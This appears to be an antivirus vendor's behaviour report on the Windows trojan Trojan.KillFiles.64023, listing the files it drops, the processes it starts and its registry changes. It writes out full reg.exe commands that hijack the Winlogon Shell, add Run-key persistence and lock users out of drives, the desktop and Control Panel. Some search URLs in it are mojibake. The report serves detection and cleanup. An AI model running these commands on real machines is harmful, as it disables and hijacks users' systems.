Trojan.KillFiles.64023

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'C:\VineMEMSUS\start.vbs'

Malicious functions

To complicate detection of its presence in the operating system,

modifies the following system settings:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoDrives' = '03FFFFFF'
[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoViewOnDrive' = '03FFFFFF'
[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoStartMenuPinnedList' = '00000001'
[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoStartMenuMFUprogramsList' = '00000001'

Launches a large number of processes

Modifies file system

Creates the following files

C:\vinememsus\a.exe
C:\vinememsus\sounds\q12.wav
C:\vinememsus\sounds\q11.wav
C:\vinememsus\sounds\q10.wav
C:\vinememsus\sounds\q1.wav
C:\vinememsus\sounds\project1.res
C:\vinememsus\sounds\project1.dpr
C:\vinememsus\sounds\project1.dof
C:\vinememsus\sounds\q13.wav
C:\vinememsus\sounds\project1.cfg
C:\vinememsus\sounds\piy.exe
C:\vinememsus\sounds\no.exe
C:\vinememsus\sl.ico
C:\vinememsus\re.bat
C:\vinememsus\oboi.bmp
C:\vinememsus\oboi.bat
C:\vinememsus\note.txt
C:\vinememsus\sounds\piy.wav
C:\vinememsus\sounds\q14.wav
C:\vinememsus\sounds\q15.wav
C:\vinememsus\sounds\q2.wav
C:\vinememsus\start.vbs
C:\vinememsus\sp.ico
C:\vinememsus\sounds\unit1.~pas
C:\vinememsus\sounds\unit1.~dfm
C:\vinememsus\sounds\unit1.~ddp
C:\vinememsus\sounds\unit1.pas
C:\vinememsus\sounds\unit1.dfm
C:\vinememsus\sounds\unit1.ddp
C:\vinememsus\sounds\unit1.dcu
C:\vinememsus\sounds\test.exe
C:\vinememsus\sounds\q9.wav
C:\vinememsus\sounds\q8.wav
C:\vinememsus\sounds\q7.wav
C:\vinememsus\sounds\q6.wav
C:\vinememsus\sounds\q5.wav
C:\vinememsus\sounds\q4.wav
C:\vinememsus\sounds\q3.wav
C:\vinememsus\ncur.ico
C:\vinememsus\xui2.cur
C:\vinememsus\ncur.exe
C:\vinememsus\msvcp100d.dll
C:\vinememsus\check\source\project1.res
C:\vinememsus\check\source\project1.dpr
C:\vinememsus\check\source\project1.dof
C:\vinememsus\check\source\project1.cfg
C:\vinememsus\check\source\check.exe
C:\vinememsus\check\check_taskmgr\msvcr100d.dll
C:\vinememsus\check\check_taskmgr\msvcp100d.dll
C:\vinememsus\check\source\unit1.dcu
C:\vinememsus\check\check_taskmgr\check.exe
C:\vinememsus\check\checksim\check.exe
C:\vinememsus\check\checkres\nnn.exe
C:\vinememsus\check\checkreg\check.exe
C:\vinememsus\check\checkpro\check.exe
C:\vinememsus\check\checkcon\check.exe
C:\vinememsus\check\checkcmd\check.exe
C:\vinememsus\b.exe
C:\vinememsus\check\check_taskmgr\bsod.exe
C:\vinememsus\check\source\unit1.ddp
C:\vinememsus\check\source\unit1.dfm
C:\vinememsus\check\source\unit1.pas
C:\vinememsus\mbr\mbr.exe
C:\vinememsus\idk.vbs
C:\vinememsus\idk.exe
C:\vinememsus\final\mbr.exe
C:\vinememsus\final\explorer.exe
C:\vinememsus\final\check.exe
C:\vinememsus\final\bb.vbs
C:\vinememsus\final\).exe
C:\vinememsus\effect.exe
C:\vinememsus\desktop.exe
C:\vinememsus\cursor.exe
C:\vinememsus\cur.exe
C:\vinememsus\check\vvv.vbs
C:\vinememsus\check\source\новый текстовый документ.txt
C:\vinememsus\check\source\unit1.~pas
C:\vinememsus\check\source\unit1.~dfm
C:\vinememsus\check\source\unit1.~ddp
C:\vinememsus\msvcr100d.dll
nul

Miscellaneous

Searches for the following windows

ClassName: 'EDIT' WindowName: ''

Creates and executes the following

'<SYSTEM32>\wscript.exe' "C:\VineMEMSUS\start.vbs"
'C:\vinememsus\b.exe'
'C:\vinememsus\a.exe'
'C:\vinememsus\ncur.exe'
'C:\vinememsus\desktop.exe'
'C:\vinememsus\check\checkpro\check.exe'
'C:\vinememsus\check\checkcmd\check.exe'
'C:\vinememsus\check\checkres\nnn.exe'
'C:\vinememsus\check\checkcon\check.exe'
'C:\vinememsus\check\checksim\check.exe'
'C:\vinememsus\check\checkreg\check.exe'
'C:\vinememsus\check\check_taskmgr\check.exe'
'C:\vinememsus\cursor.exe'
'C:\vinememsus\cur.exe'
'<SYSTEM32>\wscript.exe' "C:\VineMEMSUS\check\vvv.vbs"
'<SYSTEM32>\wscript.exe' "C:\VineMEMSUS\idk.vbs"
'C:\vinememsus\sounds\piy.exe'
'C:\vinememsus\sounds\no.exe'
'C:\vinememsus\effect.exe'
'C:\vinememsus\idk.exe'

Executes the following

'<SYSTEM32>\cmd.exe' /c ""C:\VineMEMSUS\re.bat" "
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMHelp /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer/v NoControlPanel /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoChangeStartMenu /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyDocs /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSMMyPictures /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMyMusic /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoAddPrinter /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFind /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' ADD HKCU\software\Microsoft\Windows\CurrentVersion\Run /v Date /t REG_SZ /d C:\VineMEMSUS\start.vbs /f
'%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' -noautoupdate --ran-launcher -- https://yandex.ru/search/?text=ГЎГҐГ±ГЇГ«Г ГІГГ»Г©+simple+unlocker+Г±ГЄГ Г·Г ГІГј+ГЎГҐГ±ГЇГ«Г ГІГГ®+ГЎГҐГ§+Г±Г¬Г±+ГЁ+Г°ГҐГЈГЁГ±ГІГ°Г Г¶ГЁГЁ&clid=2378387-1&win=...
'%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' -noautoupdate --ran-launcher -- https://yandex.ru/search/?text=360+total+security+Г±ГЄГ Г·Г ГІГј+ГЎГҐГ±ГЇГ«Г ГІГГ®&clid=2378387-1&win=630&lr=101056
'%ProgramFiles(x86)%\opera\launcher.exe' -noautoupdate -- "https://yandex.ru/search/?text=Bonzi2004+Г·ГІГ®+Г§Г +Г±Г®Г§Г¤Г ГІГҐГ«Гј+ГўГЁГ°ГіГ±Г®Гў?&clid=2378387-1&win=630&lr=101056"
'%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' -noautoupdate --ran-launcher -- https://yandex.ru/search/?text=Bonzi2004+Г·ГІГ®+Г§Г +Г±Г®Г§Г¤Г ГІГҐГ«Гј+ГўГЁГ°ГіГ±Г®Гў?&clid=2378387-1&win=630&lr=101056
'%ProgramFiles(x86)%\opera\29.0.1795.47\opera_crashreporter.exe' -noautoupdate --ran-launcher -- https://yandex.ru/search/?text=ГЎГҐГ±ГЇГ«Г ГІГГ»Г©+simple+unlocker+Г±ГЄГ Г·Г ГІГј+ГЎГҐГ±ГЇГ«Г ГІГГ®+ГЎГҐГ§+Г±Г¬Г±+ГЁ+Г°ГҐГЈГЁГ±ГІГ°Г Г¶ГЁГЁ&clid=2378387-1&win=...
'%ProgramFiles(x86)%\opera\29.0.1795.47\opera_crashreporter.exe' -noautoupdate --ran-launcher -- https://yandex.ru/search/?text=Bonzi2004+Г·ГІГ®+Г§Г +Г±Г®Г§Г¤Г ГІГҐГ«Гј+ГўГЁГ°ГіГ±Г®Гў?&clid=2378387-1&win=630&lr=101056 /crash-reporter-parent-id=960
'%ProgramFiles(x86)%\opera\29.0.1795.47\opera_crashreporter.exe' -noautoupdate --ran-launcher -- https://yandex.ru/search/?text=360+total+security+Г±ГЄГ Г·Г ГІГј+ГЎГҐГ±ГЇГ«Г ГІГГ®&clid=2378387-1&win=630&lr=101056 /crash-reporter-parent-id=2568
'%ProgramFiles(x86)%\opera\launcher.exe' -noautoupdate -- "https://yandex.ru/search/?text=windows+defender:3&clid=2378387-1&win=630&lr=101056"
'%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' -noautoupdate --ran-launcher -- https://yandex.ru/search/?text=windows+defender:3&clid=2378387-1&win=630&lr=101056
'%ProgramFiles(x86)%\opera\launcher.exe' -noautoupdate -- "https://yandex.ru/search/?text=360+total+security+Г±ГЄГ Г·Г ГІГј+ГЎГҐГ±ГЇГ«Г ГІГГ®&clid=2378387-1&win=630&lr=101056"
'%ProgramFiles(x86)%\opera\launcher.exe' -noautoupdate -- "https://yandex.ru/search/?text=ГЎГҐГ±ГЇГ«Г ГІГГ»Г©+simple+unlocker+Г±ГЄГ Г·Г ГІГј+ГЎГҐГ±ГЇГ«Г ГІГГ®+ГЎГҐГ§+Г±Г¬Г±+ГЁ+Г°ГҐГЈГЁГ±ГІГ°Г Г¶ГЁГЁ&clid=2378387-1&win=630&lr=101056"
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoSetFolders /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRecentDocsMenu /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFavoritesMenu /t REG_DWORD /d 1 /f
'<SYSTEM32>\cmd.exe' /c ""C:\VineMEMSUS\oboi.bat" "
'<SYSTEM32>\reg.exe' add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "C:\VineMEMSUS\start.vbs" /f
'<SYSTEM32>\reg.exe' add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "" /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDrives /t REG_DWORD /d 67108863 /f
'<SYSTEM32>\reg.exe' add "HKCU\control panel\desktop" /v wallpaper /t REG_SZ /d "C:\VineMEMSUS\oboi.bmp" /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoViewOnDrive /t REG_DWORD /d 67108863 /f
'<SYSTEM32>\reg.exe' delete "HKCU\Software\Microsoft\Internet Explorer\Desktop\General" /v WallpaperStyle /f
'<SYSTEM32>\reg.exe' add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoSelectDownloadDir" /d 1 /f
'<SYSTEM32>\reg.exe' add "HKCU\control panel\desktop" /v WallpaperStyle /t REG_SZ /d 2 /f
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Internet Explorer\main\FeatureControl\Feature_LocalMachine_Lockdown" /v "IExplorer" /d 0 /f
'<SYSTEM32>\notepad.exe' C:\VineMEMSUS\note.txt
'<SYSTEM32>\rundll32.exe' user32.dll,UpdatePerUserSystemParameters
'<SYSTEM32>\reg.exe' add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoNavButtons" /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuMFUprogramsList /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoUserNameInStartMenu /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum" /v {20D04FE0-3AEA-1069-A2D8-08002B30309D} /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoNetworkConnections /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuNetworkPlaces /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v StartmenuLogoff /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoCommonGroups /t REG_DWORD /d 1 /f
'<SYSTEM32>\reg.exe' add "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions" /v "NoFindFiles" /d 1 /f
'%ProgramFiles(x86)%\opera\29.0.1795.47\opera_crashreporter.exe' -noautoupdate --ran-launcher -- https://yandex.ru/search/?text=windows+defender:3&clid=2378387-1&win=630&lr=101056 /crash-reporter-parent-id=604
'%ProgramFiles(x86)%\opera\29.0.1795.47\opera_crashreporter.exe' -noautoupdate --ran-launcher -- https://yandex.ru/search/?text=360+total+security+Г±ГЄГ Г·Г ГІГј+ГЎГҐГ±ГЇГ«Г ГІГГ®&clid=2378387-1&win=630&lr=101056 /crash-reporter-parent-id=2144

技术

术语

教育培训

误区

Technical Information

Curing recommendations

Free trial